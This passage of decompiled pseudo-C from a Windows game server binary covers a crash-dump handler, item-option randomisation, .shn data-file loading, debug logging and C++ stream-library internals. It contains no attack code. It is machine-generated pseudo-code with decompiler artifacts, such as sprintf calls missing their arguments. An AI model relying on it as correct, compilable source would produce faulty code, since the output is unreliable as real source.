!v2->l_Array ) return 0; v4 = 0; if ( v2->l_MaxSize ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v4]; } ++v4; ++v5; } while ( v4 < v2->l_MaxSize ); } return 1; } //----- (0055EEB0) -------------------------------------------------------- void __thiscall CardDeck::CardStack::CardStack(CardDeck::CardStack *this) { CardDeck::CardStack *v1; // esi@1 v1 = this; this->cs_deck.vfptr = (ListVtbl *)List::_vftable_; this->cs_deck.l_ListArray = 0; List::l_MakeList(&this->cs_deck, 1u); v1->cs_Array.la_Size = 5; v1->cs_Array.la_Array = (CardDeck::Card *)operator new(0x14u); List::l_SetListArray(&v1->cs_deck, &v1->cs_Array); } // 5E68F4: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (0055EF20) -------------------------------------------------------- void __cdecl MiniDumper::MinidumpCallStack(_EXCEPTION_POINTERS *pExceptionInfo) { int v1; // eax@0 char *v2; // edi@1 char v3; // al@2 const char *v4; // eax@3 const void *v5; // edx@3 char v6; // cl@4 unsigned int v7; // eax@5 void *v8; // edi@5 char v9; // cl@6 char *v10; // edi@7 char v11; // al@8 void *v12; // esi@9 void *v13; // eax@10 void *v14; // ecx@10 int v15; // edi@10 char v16; // dl@11 void *i; // eax@12 void *v18; // ecx@14 int v19; // edi@14 char v20; // dl@15 int v21; // [sp-Ch] [bp-244h]@1 void *pkLine; // [sp+0h] [bp-238h]@12 void *hFile; // [sp+4h] [bp-234h]@9 void *pkEnter; // [sp+8h] [bp-230h]@12 char *len; // [sp+Ch] [bp-22Ch]@12 void *lpcStr; // [sp+10h] [bp-228h]@10 char szScratchTest[260]; // [sp+14h] [bp-224h]@1 char szNewCallStackPath[260]; // [sp+118h] [bp-120h]@1 unsigned int cookie; // [sp+21Ch] [bp-1Ch]@19 int *v30; // [sp+220h] [bp-18h]@1 int v31; // [sp+228h] [bp-10h]@1 int (__cdecl *v32)(int, _EH3_EXCEPTION_REGISTRATION *, int); // [sp+22Ch] [bp-Ch]@1 _UNKNOWN *v33; // [sp+230h] [bp-8h]@1 int v34; // [sp+234h] [bp-4h]@1 v33 = &unk_5E69A8; v32 = _except_handler3; v31 = v1; v30 = &v21; v34 = 0; GetModuleFileNameA(0, szNewCallStackPath, 0x104u); v2 = &szScratchTest[259]; do v3 = (v2++)[1]; while ( v3 ); *(_WORD *)v2 = stru_5A4E3C.maa_MobHandle; v4 = GetCurrentTimeString2(0); v5 = v4; do v6 = *v4++; while ( v6 ); v7 = v4 - v5; v8 = &szScratchTest[259]; do { v9 = *((_BYTE *)v8 + 1); v8 = (char *)v8 + 1; } while ( v9 ); memcpy(v8, v5, v7); v10 = &szScratchTest[259]; do v11 = (v10++)[1]; while ( v11 ); *(_DWORD *)v10 = *(_DWORD *)"CallStack.txt"; *((_DWORD *)v10 + 1) = *(_DWORD *)"Stack.txt"; *((_DWORD *)v10 + 2) = *(_DWORD *)"k.txt"; *((_WORD *)v10 + 6) = *(_WORD *)"t"; v12 = fopen(szNewCallStackPath, "w"); hFile = v12; if ( v12 ) { EHInitSymbolEngine(); lpcStr = 0; v13 = (void *)GetFaultReason(pExceptionInfo); lpcStr = v13; v14 = v13; v15 = (int)((char *)v13 + 1); do { v16 = *(_BYTE *)v14; v14 = (char *)v14 + 1; } while ( v16 ); len = (char *)v14 - v15; fwrite(v13, (unsigned int)((char *)v14 - v15), 1u, (_iobuf *)v12); pkEnter = "\n"; fwrite("\n", strlen("\n"), 1u, (_iobuf *)v12); pkLine = "--------------------------------------------------------------------------\n"; fwrite( "--------------------------------------------------------------------------\n", strlen("--------------------------------------------------------------------------\n"), 1u, (_iobuf *)v12); for ( i = (void *)GetFirstStackTraceString(0xEu, pExceptionInfo); ; i = (void *)GetNextStackTraceString(0xEu, pExceptionInfo) ) { lpcStr = i; if ( !i ) break; v18 = i; v19 = (int)((char *)i + 1); do { v20 = *(_BYTE *)v18; v18 = (char *)v18 + 1; } while ( v20 ); len = (char *)v18 - v19; fwrite(i, (unsigned int)((char *)v18 - v19), 1u, (_iobuf *)v12); fwrite("\n", strlen("\n"), 1u, (_iobuf *)v12); } EHCleanupSymbolEngine(); fclose((_iobuf *)v12); } else { GetLastError(); sprintf(szScratchTest, "EXCEPTION - Failed to Call Stack file '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); } v34 = -1; __security_check_cookie(cookie); } //----- (0055F180) -------------------------------------------------------- int __stdcall MiniDumper::TopLevelFilter(_EXCEPTION_POINTERS *pExceptionInfo) { HINSTANCE__ *v1; // esi@1 char *v2; // eax@2 int v3; // eax@3 int result; // eax@8 FARPROC v5; // ebp@9 char *v6; // edi@11 char v7; // al@12 const char *v8; // eax@13 const void *v9; // edx@13 char v10; // cl@14 unsigned int v11; // eax@15 void *v12; // edi@15 char v13; // cl@16 char *v14; // edi@17 char v15; // al@18 __int16 v16; // dx@19 HANDLE v17; // esi@19 DWORD v18; // ST08_4@20 HANDLE v19; // eax@20 int retval; // [sp+1Ch] [bp-320h]@1 _MINIDUMP_EXCEPTION_INFORMATION ExInfo; // [sp+20h] [bp-31Ch]@11 char szDumpPath[260]; // [sp+2Ch] [bp-310h]@11 char szScratch[260]; // [sp+130h] [bp-20Ch]@21 char szDbgHelpPath[260]; // [sp+234h] [bp-108h]@1 v1 = 0; retval = 0; if ( GetModuleFileNameA(0, szDbgHelpPath, 0x104u) ) { v2 = _mbsrchr(szDbgHelpPath, 0x5Cu); if ( v2 ) { v3 = (int)(v2 + 1); *(_DWORD *)v3 = *(_DWORD *)"DBGHELP.DLL"; *(_DWORD *)(v3 + 4) = *(_DWORD *)"ELP.DLL"; *(_DWORD *)(v3 + 8) = *(_DWORD *)"DLL"; v1 = LoadLibraryA(szDbgHelpPath); } } MiniDumper::MinidumpCallStack(pExceptionInfo); if ( MiniDumper::FuncForStack ) MiniDumper::FuncForStack(); if ( v1 || (v1 = LoadLibraryA("DBGHELP.DLL")) != 0 ) { v5 = GetProcAddress(v1, "MiniDumpWriteDump"); if ( v5 ) { GetModuleFileNameA(0, szDumpPath, 0x104u); v6 = (char *)&ExInfo.ClientPointers + 3; do v7 = (v6++)[1]; while ( v7 ); *(_WORD *)v6 = stru_5A4E3C.maa_MobHandle; v8 = GetCurrentTimeString2(0); v9 = v8; do v10 = *v8++; while ( v10 ); v11 = v8 - v9; v12 = (char *)&ExInfo.ClientPointers + 3; do { v13 = *((_BYTE *)v12 + 1); v12 = (char *)v12 + 1; } while ( v13 ); memcpy(v12, v9, v11); v14 = (char *)&ExInfo.ClientPointers + 3; do v15 = (v14++)[1]; while ( v15 ); v16 = *(_WORD *)"p"; *(_DWORD *)v14 = *(_DWORD *)".mdmp"; *((_WORD *)v14 + 2) = v16; v17 = CreateFileA(szDumpPath, 0x40000000u, 2u, 0, 2u, 0x80u, 0); if ( v17 == (HANDLE)-1 ) { GetLastError(); sprintf(szScratch, "EXCEPTION - Failed to create dump file '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); } else { ExInfo.ThreadId = GetCurrentThreadId(); ExInfo.ExceptionPointers = pExceptionInfo; ExInfo.ClientPointers = 0; v18 = GetCurrentProcessId(); v19 = GetCurrentProcess(); if ( ((int (__stdcall *)(HANDLE, DWORD, HANDLE, signed int, _MINIDUMP_EXCEPTION_INFORMATION *, _DWORD, _DWORD))v5)( v19, v18, v17, 64, &ExInfo, 0, 0) ) { retval = 1; sprintf(szScratch, "EXCEPTION - Saved dump file to '%s'"); _DebugMessageNew(1, "Msg", "%s"); CloseHandle(v17); } else { GetLastError(); sprintf(szScratch, "EXCEPTION - Failed to save dump file to '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); CloseHandle(v17); } } result = retval; } else { _DebugMessageNew(1, "Msg", "%s"); result = 0; } } else { _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } // 146C1374: using guessed type int (*MiniDumper__FuncForStack)(void); //----- (0055F460) -------------------------------------------------------- void __thiscall MiniDumper::MiniDumper(MiniDumper *this) { SetUnhandledExceptionFilter(MiniDumper::TopLevelFilter); } //----- (0055F480) -------------------------------------------------------- void __thiscall ItemOptionsData::OptionCardStack::OptionCardStack(ItemOptionsData::OptionCardStack *this) { CardDeck::CardStack::CardStack(&this->ocs_cardstack); } //----- (0055F4A0) -------------------------------------------------------- int __thiscall ItemOptionsData::OptionCardStack::ocs_selectnumber(ItemOptionsData::OptionCardStack *this, ItemOptions *op) { unsigned int v2; // eax@1 char *v3; // eax@1 int v4; // ecx@1 int v5; // eax@1 signed int v6; // ecx@1 char *v7; // edx@1 int v8; // esi@2 unsigned int v9; // eax@6 int result; // eax@7 char *v11; // edx@10 int v12; // eax@10 unsigned __int16 v13; // dx@10 v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = (*((_DWORD *)v3 + 8192) + 1) & *((_DWORD *)v3 + 8193); *((_DWORD *)v3 + 8192) = v4; v5 = *(_WORD *)&v3[2 * v4]; v6 = 0; v7 = (char *)op->Rate; do { v8 = *(_WORD *)v7; if ( v8 >= v5 ) break; v5 -= v8; ++v6; v7 += 2; } while ( v6 < 9 ); if ( v6 >= 9 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_selectnumber : Error in random select", op->OptionDegree); v6 = 0; } LOBYTE(v9) = op->Interval; if ( (_BYTE)v9 == 1 ) { result = v6 + 1; } else { v9 = (unsigned __int8)v9; if ( (_BYTE)v9 && v9 <= 0x64 ) { v11 = (char *)&rndbox + 32776 * v9; v12 = *((_DWORD *)v11 + 8193) & (*((_DWORD *)v11 + 8192) + 1); *((_DWORD *)v11 + 8192) = v12; v13 = *(_WORD *)&v11[2 * v12]; } else { v13 = 0; } result = v13 + v6 * op->Interval; if ( result >= 256 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_selectnumber : Too large value", result); result = 255; } } return result; } //----- (0055F5A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x96Fu, 0x42u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0055F660) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x62Eu, 0x19u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0055F710) -------------------------------------------------------- void __thiscall RewardData::RewardData(RewardData *this) { RewardData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, 0x40u); HIWORD(v1->baseclass_0.bdb_defaultblock.TitleDegree) = 0; } //----- (0055F730) -------------------------------------------------------- void __thiscall RewardData::rd_Load(RewardData *this) { RewardData *v1; // esi@1 v1 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, "../9Data/Shine/ShineReward.shn"); v1->baseclass_0.bdb_defaultblock.RewardHandle = -1; } //----- (0055F750) -------------------------------------------------------- ShineReward *__thiscall RewardData::rd_FindHandle(RewardData *this, int handle) { RewardData *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 ShineReward *result; // eax@4 signed int v7; // eax@7 v2 = this; v3 = this->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_8: result = 0; } else { v5 = v3 > 0; while ( 1 ) { result = (ShineReward *)(v5 ? CDataReader::GetRecord(&v2->baseclass_0.baseclass_0.baseclass_0, v4) : &v2->baseclass_0.bdb_defaultblock); if ( result->RewardHandle == handle ) break; v7 = v2->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; if ( (signed int)v4 >= v7 ) goto LABEL_8; } } return result; } //----- (0055F790) -------------------------------------------------------- void __thiscall ItemOptionsData::ItemOptionsData(ItemOptionsData *this) { ItemOptionsData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.OptionDegree = 0; *(ITEM_OPTION_TYPE *)((char *)&v1->baseclass_0.bdb_defaultblock.Type + 2) = 0; *(_DWORD *)((char *)&v1->baseclass_0.bdb_defaultblock.Rate[0] + 1) = 0; *(_DWORD *)((char *)&v1->baseclass_0.bdb_defaultblock.Rate[2] + 1) = 0; *(_DWORD *)((char *)&v1->baseclass_0.bdb_defaultblock.Rate[4] + 1) = 0; *(_DWORD *)((char *)&v1->baseclass_0.bdb_defaultblock.Rate[6] + 1) = 0; HIBYTE(v1->baseclass_0.bdb_defaultblock.Rate[8]) = 0; _eh_vector_constructor_iterator_( v1->iod_optionlist, 0x24u, 500, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::OptionCardStack, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::_OptionCardStack); } //----- (0055F800) -------------------------------------------------------- void __thiscall ItemOptionsData::_ItemOptionsData(ItemOptionsData *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; _eh_vector_destructor_iterator_( this->iod_optionlist, 0x24u, 500, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::_OptionCardStack); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (0055F860) -------------------------------------------------------- char __thiscall ItemOptionsData::OptionCardStack::ocs_make(ItemOptionsData::OptionCardStack *this, ItemOptionStorage *ios) { ItemOptionStorage *v2; // esi@1 ItemOptionsData::OptionCardStack *v3; // edi@1 ItemOptions *v4; // eax@1 char result; // al@2 int v6; // ebp@3 unsigned int v7; // eax@3 ListStruct *v8; // edx@4 unsigned __int16 v9; // ax@4 int v10; // eax@5 ItemOptionStorage **v11; // ebx@6 signed __int16 v12; // ax@7 int v13; // ebx@10 void *v14; // eax@13 signed int v15; // ecx@16 char v16; // cl@18 int v17; // [sp+0h] [bp-4h]@1 HIWORD(v17) = HIWORD(this); v2 = ios; v3 = this; ios->fixed.optionnumber.str._bf0 &= 1u; v4 = this->ocs_Number; if ( v4 ) { v6 = ItemOptionsData::OptionCardStack::ocs_selectnumber(this, v4); v7 = (ios->fixed.optionnumber.str._bf0 & 1u) >> 1; ios->fixed.optionnumber.str._bf0 &= 1u; if ( (signed int)v7 >= v6 ) { LABEL_19: result = 1; } else { while ( 1 ) { v8 = v3->ocs_cardstack.cs_deck.l_Array; v9 = v8[v3->ocs_cardstack.cs_deck.l_Finger.store].ls_Next; LOWORD(v17) = v9; if ( v9 < v3->ocs_cardstack.cs_deck.l_MaxSize && (v10 = (int)&v8[v9], *(_BYTE *)(v10 + 8)) && (v11 = *(ItemOptionStorage ***)v10) != 0 ) { v3->ocs_cardstack.cs_deck.vfptr->l_Free((List *)v3, v17); ios = *v11; v12 = 1; } else { v12 = 0; } if ( !v12 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Error in selecting", v3->ocs_Number->OptionDegree); return 0; } v13 = v3->ocs_Number->OptionDegree; if ( !CardDeck::CardStack::cs_InsertBottom(&v3->ocs_cardstack, (unsigned int)ios) ) AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Error in card recycle", v13); if ( (unsigned int)ios < *(_DWORD *)(unk_146C13A8 + 40) ) v14 = CDataReader::GetRecord(&itemoptiondata.baseclass_0.baseclass_0.baseclass_0, (unsigned int)ios); else v14 = &unk_146C13B4; if ( *(_WORD *)v14 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Option not found", *(_WORD *)v14); return 0; } v15 = *(_DWORD *)((char *)v14 + 2); if ( !v15 ) break; if ( v15 >= 12 ) break; *(&v2->optionlist[0].itemoption_type + 2 * ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1)) = *((_BYTE *)v14 + 2); *(unsigned __int16 *)((char *)&v2->optionlist[0].itemoption_value + 2 * ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1)) = ItemOptionsData::OptionCardStack::ocs_selectnumber( v3, v3->ocs_Number); v16 = v2->fixed.optionnumber.str._bf0 & 1 ^ ((v2->fixed.optionnumber.str._bf0 & 0xFE) + 2); v2->fixed.optionnumber.str._bf0 = v16; if ( (signed int)((unsigned int)(unsigned __int8)v16 >> 1) >= v6 ) goto LABEL_19; } AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Invalid Option", *(_WORD *)v14); result = 0; } } else { result = 0; } return result; } //----- (0055FA20) -------------------------------------------------------- void __thiscall ItemOptionsData::iod_Load(ItemOptionsData *this) { ItemOptionsData *v1; // edi@1 int v2; // eax@1 signed int v3; // ecx@1 unsigned int v4; // eax@3 unsigned int v5; // ebp@3 bool v6; // cf@4 void *v7; // esi@6 int v8; // eax@8 signed int v9; // eax@17 int v10; // esi@18 signed int v11; // ebx@18 v1 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, "../9Data/Shine/ItemOptions.shn"); v2 = (int)&v1->iod_optionlist[0].ocs_Number; v3 = 500; do { *(_DWORD *)v2 = 0; v2 += 36; --v3; } while ( v3 ); v4 = v1->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v5 = 0; if ( (signed int)v4 > 0 ) { v6 = v4 > 0; do { if ( v6 ) v7 = CDataReader::GetRecord(&v1->baseclass_0.baseclass_0.baseclass_0, v5); else v7 = &v1->baseclass_0.bdb_defaultblock; v8 = *(_WORD *)v7; if ( *(_DWORD *)((char *)v7 + 2) ) { if ( !v1->iod_optionlist[v8].ocs_Number ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_cardinsert : not initializes", v8); ShineExit("ItemOptionsData::OptionCardStack::ocs_cardinsert"); } CardDeck::CardStack::cs_InsertTop(&v1->iod_optionlist[v8].ocs_cardstack, v5); } else { if ( v1->iod_optionlist[v8].ocs_Number ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_Init : already initialized", *(_WORD *)v7); ShineExit("ItemOptionsData::OptionCardStack::ocs_Init"); } v1->iod_optionlist[v8].ocs_Number = (ItemOptions *)v7; List::l_Clear(&v1->iod_optionlist[v8].ocs_cardstack.cs_deck); } v9 = v1->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v5; v6 = v5 < v9; } while ( (signed int)v5 < v9 ); } v10 = (int)v1->iod_optionlist; v11 = 500; do { if ( *(_DWORD *)(v10 + 32) ) CardDeck::CardStack::cs_Suffle((CardDeck::CardStack *)v10, 50); v10 += 36; --v11; } while ( v11 ); v1->baseclass_0.bdb_defaultblock.OptionDegree = -1; } //----- (0055FB40) -------------------------------------------------------- const char *__cdecl GetLastErrorStr(unsigned int errorcode, int bAddCRLF) { unsigned int v2; // esi@1 DWORD v3; // eax@3 const char *v5; // [sp-8h] [bp-10h]@7 v2 = errorcode; if ( !errorcode ) v2 = GetLastError(); v3 = 4608; if ( !bAddCRLF ) v3 = 4863; if ( !FormatMessageA(v3, 0, v2, 0x400u, ErrorMessage, 0x400u, 0) ) { if ( bAddCRLF ) v5 = "ErrorCode=%d\r\n"; else v5 = "ErrorCode=%d"; sprintf(ErrorMessage, v5); } return ErrorMessage; } //----- (0055FBB0) -------------------------------------------------------- const char *__cdecl GetCurrentTimeString(int bUTCTime) { const char *result; // eax@4 _SYSTEMTIME Time; // [sp+0h] [bp-114h]@2 char sCurrentTime[128]; // [sp+10h] [bp-104h]@4 char sCurrentDate[128]; // [sp+90h] [bp-84h]@4 unsigned int cookie; // [sp+110h] [bp-4h]@4 if ( bUTCTime ) GetSystemTime(&Time); else GetLocalTime(&Time); sprintf(sCurrentDate, "%04d-%02d-%02d"); sprintf(sCurrentTime, "%02d:%02d:%02d"); sprintf(sCurrentDateTime, "%s %s "); __security_check_cookie(cookie); return result; } //----- (0055FC60) -------------------------------------------------------- const char *__cdecl GetCurrentTimeString2(int bUTCTime) { const char *result; // eax@4 _SYSTEMTIME Time; // [sp+0h] [bp-114h]@2 char sCurrentTime[128]; // [sp+10h] [bp-104h]@4 char sCurrentDate[128]; // [sp+90h] [bp-84h]@4 unsigned int cookie; // [sp+110h] [bp-4h]@4 if ( bUTCTime ) GetSystemTime(&Time); else GetLocalTime(&Time); sprintf(sCurrentDate, "%04d-%02d-%02d"); sprintf(sCurrentTime, "%02d:%02d:%02d"); GetTimeFormatA(0, 0, &Time, "tt hhmmss", sCurrentTime, 128); sprintf(sCurrentDateTime_0, "%s %s"); __security_check_cookie(cookie); return result; } //----- (0055FD30) -------------------------------------------------------- void __cdecl _DebugMessageNew2(int bView, const char *sFN, const char *lpszFormat, char *args) { const char *v4; // eax@2 const char *v5; // ecx@3 const char *v6; // esi@3 char v7; // dl@4 const char v8; // cl@6 _iobuf *v9; // eax@7 _iobuf *v10; // esi@7 _SYSTEMTIME LocalTime; // [sp+Ch] [bp-B2Ch]@7 unsigned int v12; // [sp+1Ch] [bp-B1Ch]@5 char CurrentDate[128]; // [sp+20h] [bp-B18h]@7 _DWORD MsgFNMiddle[66]; // [sp+A0h] [bp-A98h]@2 char MsgFNFull[260]; // [sp+1A8h] [bp-990h]@7 char CurrentTime[128]; // [sp+2B0h] [bp-888h]@7 char msgbuff[1024]; // [sp+330h] [bp-808h]@2 char Msg[1024]; // [sp+730h] [bp-408h]@2 if ( bView ) { _vsnprintf(msgbuff, 0x400u, lpszFormat, args); ++gDebugMessageCounter; GetCurrentTimeString(0); sprintf(Msg, "%06d %s%s\n"); MsgFNMiddle[0] = (char *)&charclassmanager + 116525; memset(&MsgFNMiddle[1], 0, 0x100u); v4 = sFN; if ( sFN != byte_5A62A6 ) { v5 = sFN; v6 = sFN + 1; do v7 = *v5++; while ( v7 ); v12 = v5 - v6; if ( v5 != v6 ) { do { v8 = *v4; v4[(char *)MsgFNMiddle - sFN] = *v4; ++v4; } while ( v8 ); } } GetLocalTime(&LocalTime); sprintf(CurrentDate, "%04d-%02d-%02d"); sprintf(CurrentTime, "%02d:%02d:%02d"); sprintf(MsgFNFull, ".\\DebugMessage\\%s_%s.txt"); MakeSureDirectoryPathExists(MsgFNFull); v9 = fopen(MsgFNFull, "a+"); v10 = v9; if ( v9 ) { fprintf(v9, Msg); fclose(v10); } } } // 146C5AA0: using guessed type unsigned __int16 gDebugMessageCounter; //----- (0055FEC0) -------------------------------------------------------- std::locale *__thiscall std::basic_streambuf>::getloc(std::basic_streambuf > *this, std::locale *result) { std::locale v2; // esi@1 std::locale *v3; // edi@1 unsigned int v4; // eax@1 v2 = *this->_Plocale; v3 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v2; std::_Lockit::_Lockit((std::_Lockit *)&result, 0); v4 = *(_DWORD *)(*(_DWORD *)&v2 + 4); if ( v4 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v2 + 4) = v4 + 1; std::_Lockit::__Lockit((std::_Lockit *)&result); return v3; } //----- (0055FF00) -------------------------------------------------------- void __cdecl _DEBUGMSG(const char *lpszFormat) { char args; // [sp+8h] [bp+8h]@0 _DebugMessageNew2(1, "Msg", lpszFormat, &args); } //----- (0055FF20) -------------------------------------------------------- void __cdecl _DEBUGMSGVC(int bView, const char *lpszFormat) { char args; // [sp+Ch] [bp+Ch]@0 _DebugMessageNew2(bView, "Msg", lpszFormat, &args); } //----- (0055FF40) -------------------------------------------------------- void __cdecl _DebugMessageNew(int bView, const char *sFN, const char *lpszFormat) { char args; // [sp+10h] [bp+10h]@0 _DebugMessageNew2(bView, sFN, lpszFormat, &args); } //----- (0055FF60) -------------------------------------------------------- void __thiscall std::codecvt::codecvt(std::codecvt *this, unsigned int _Refs) { std::_Locinfo thisa; // [sp+4h] [bp-80h]@1 int v3; // [sp+80h] [bp-4h]@1 this->baseclass_0.baseclass_0._Refs = _Refs; v3 = 0; this->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::codecvt::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); std::_Locinfo::__Locinfo(&thisa); } // 5E6DE8: using guessed type int (__thiscall *std__codecvt_char_char_int____vftable_)(void *p, char); //----- (0055FFD0) -------------------------------------------------------- int __thiscall std::codecvt::do_out(std::codecvt *this, int *__formal, const char *_First1, const char *a4, const char **_Mid1, char *_First2, char *a7, char **_Mid2) { *_Mid1 = _First1; *_Mid2 = _First2; return 3; } //----- (0055FFF0) -------------------------------------------------------- int __thiscall std::codecvt::do_unshift(std::codecvt *this, int *__formal, char *a3, char *a4, char **a5) { return 3; } //----- (00560000) -------------------------------------------------------- int __thiscall std::codecvt::do_length(std::codecvt *this, const int *__formal, const char *_First1, const char *_Last1, unsigned int _Count) { int result; // eax@1 result = _Last1 - _First1; if ( _Count < _Last1 - _First1 ) result = _Count; return result; } //----- (00560020) -------------------------------------------------------- unsigned int __cdecl std::codecvt::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(8u); if ( v1 ) std::codecvt::codecvt((std::codecvt *)v1, 0); else v2 = 0; *_Ppf = v2; } return 2; } //----- (00560090) -------------------------------------------------------- std::basic_streambuf > *__thiscall std::basic_filebuf>::setbuf(std::basic_filebuf > *this, char *_Buffer, int _Count) { std::basic_streambuf > *v3; // edi@1 _iobuf *v4; // ecx@1 int v5; // eax@4 std::basic_streambuf > *result; // eax@7 v3 = (std::basic_streambuf > *)this; v4 = this->_Myfile; if ( !v4 || (_Buffer || _Count ? (v5 = 0) : (v5 = 4), setvbuf(v4, _Buffer, v5, _Count)) ) result = 0; else result = v3; return result; } //----- (005600E0) -------------------------------------------------------- int __thiscall std::basic_filebuf>::sync(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 int result; // eax@4 v1 = this; if ( this->_Myfile && ((int (__stdcall *)(_DWORD))this->baseclass_0.vfptr->overflow)(-1) != -1 && fflush(v1->_Myfile) < 0 ) result = -1; else result = 0; return result; } //----- (00560110) -------------------------------------------------------- int __thiscall std::basic_filebuf>::pbackfail(std::basic_filebuf > *this, int _Meta) { std::basic_filebuf > *v2; // esi@1 char *v3; // eax@1 int v5; // eax@10 char **v6; // edx@11 v2 = this; v3 = *this->baseclass_0._IGnext; if ( v3 && *this->baseclass_0._IGfirst < v3 && (_Meta == -1 || *(v3 - 1) == _Meta) ) { std::basic_streambuf>::_Gndec(&this->baseclass_0); return _Meta & ((_Meta == -1) - 1); } if ( this->_Myfile && _Meta != -1 ) { if ( !this->_Pcvt && ungetc((unsigned __int8)_Meta, this->_Myfile) != -1 ) return _Meta; v5 = (int)&v2->_Mychar; if ( (char *)*(std::basic_filebuf > **)v2->baseclass_0._IGnext != &v2->_Mychar ) { v6 = v2->baseclass_0._IGfirst; *(_BYTE *)v5 = _Meta; *v6 = (char *)v5; *v2->baseclass_0._IGnext = (char *)v5; *v2->baseclass_0._IGcount = 1; return _Meta; } } return -1; } //----- (005601B0) -------------------------------------------------------- char *__thiscall std::basic_streambuf>::_Gndec(std::basic_streambuf > *this) { ++*this->_IGcount; --*this->_IGnext; return *this->_IGnext; } //----- (005601C0) -------------------------------------------------------- int __thiscall std::basic_filebuf>::underflow(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 int **v2; // eax@1 int result; // eax@3 int v4; // edi@4 v1 = this; v2 = (int **)this->baseclass_0._IGnext; if ( *v2 && *v2 < (int *)((char *)*v2 + *this->baseclass_0._IGcount) ) { result = *(_BYTE *)*v2; } else { result = this->baseclass_0.vfptr->uflow((std::basic_streambuf > *)this); v4 = result; if ( result != -1 ) { v1->baseclass_0.vfptr->pbackfail((std::basic_streambuf > *)v1, result); result = v4; } } return result; } //----- (00560210) -------------------------------------------------------- void __thiscall std::basic_filebuf>::_Initcvt(std::basic_filebuf > *this, std::codecvt *_Newpcvt) { std::basic_filebuf > *v2; // esi@1 void *v3; // eax@4 v2 = this; if ( (unsigned __int8)((int (__thiscall *)(_DWORD))_Newpcvt->baseclass_0.baseclass_0.vfptr[1].__vecDelDtor)(_Newpcvt) ) { v2->_Pcvt = 0; } else { v2->_Pcvt = _Newpcvt; std::basic_streambuf>::_Init(&v2->baseclass_0); if ( !v2->_Mystr ) { v3 = operator new(0x1Cu); if ( v3 ) { *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; *((_BYTE *)v3 + 4) = 0; v2->_Mystr = (std::basic_string,std::allocator > *)v3; } else { 